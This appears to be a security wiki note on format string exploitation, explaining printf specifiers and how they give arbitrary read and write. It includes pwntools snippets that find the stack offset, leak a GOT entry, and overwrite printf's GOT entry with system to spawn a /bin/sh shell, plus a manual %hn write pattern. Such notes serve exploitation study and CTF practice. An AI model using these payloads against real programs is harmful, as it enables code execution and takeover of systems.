| title | Format String Exploitation | |||||
|---|---|---|---|---|---|---|
| type | technique | |||||
| tags |
|
|||||
| phase | exploitation | |||||
| date_created | 2026-07-14 | |||||
| date_updated | 2026-07-14 | |||||
| sources |
|
Read and write primitives from an attacker-controlled format argument. For finding the sink, see [[memory-safety-bugs]]; for chaining into flow control, [[binary-exploitation]].
The bug: attacker text reaches the format argument of printf/fprintf/sprintf/snprintf/
syslog (e.g. printf(buffer)). Turns into an arbitrary read (%s) and an arbitrary write
(%n), so it defeats canary/PIE/ASLR by leaking and then redirects flow by GOT overwrite.
Specifiers: %p/%x leak a stack slot, %s derefs a pointer arg and prints until NUL, %n
writes the count-so-far to the pointed address, %hn writes 2 bytes, %hhn 1 byte,
%<n>$X selects the n-th arg directly (direct parameter access).
Find your input offset on the stack:
from pwn import *
for i in range(1, 20):
io = process("./chall")
io.sendline(b"AAAA%%%d$x" % i) # AAAA%1$x, AAAA%2$x, ...
if b"41414141" in io.clean():
log.success(f"input at offset {i}"); io.close(); break
io.close()Arbitrary read (leak libc/canary): place a target pointer at your offset, deref with %N$s.
On x64 pad so the address lands 8-byte aligned; the address cannot lead (NUL truncates).
payload = b"%7$s".ljust(8, b"x") + p64(elf.got["puts"]) # leak puts@GOT -> libc baseArbitrary write with fmtstr_payload (let pwntools compute the width-padding math):
# offset = where our input starts on the stack (found above)
payload = fmtstr_payload(offset, {elf.got["printf"]: libc.sym["system"]})
io.sendline(payload)
io.sendline(b"/bin/sh") # next printf(user) now calls system(user)Manual 2-halves write (large address written as two %hn, smallest value first, HOB/LOB):
# write 0x08049724 to addr via params 4 and 5
[addr+2][addr] %.<HOB-8>x %4$hn %.<LOB-HOB>x %5$hn
Useful targets: GOT entry of a soon-called libc func, .fini_array (loop main once more),
saved return address. Windows x64 twist: a %p first-conversion leaks R9 (no varargs passed)
to recover module base and defeat ASLR with no memory-disclosure primitive.
- [[binary-exploitation]] - stack/heap overflow, ROP, protections
- [[rop-techniques]] - where a GOT overwrite hands off to a chain
- [[memory-safety-bugs]] - finding the format-string sink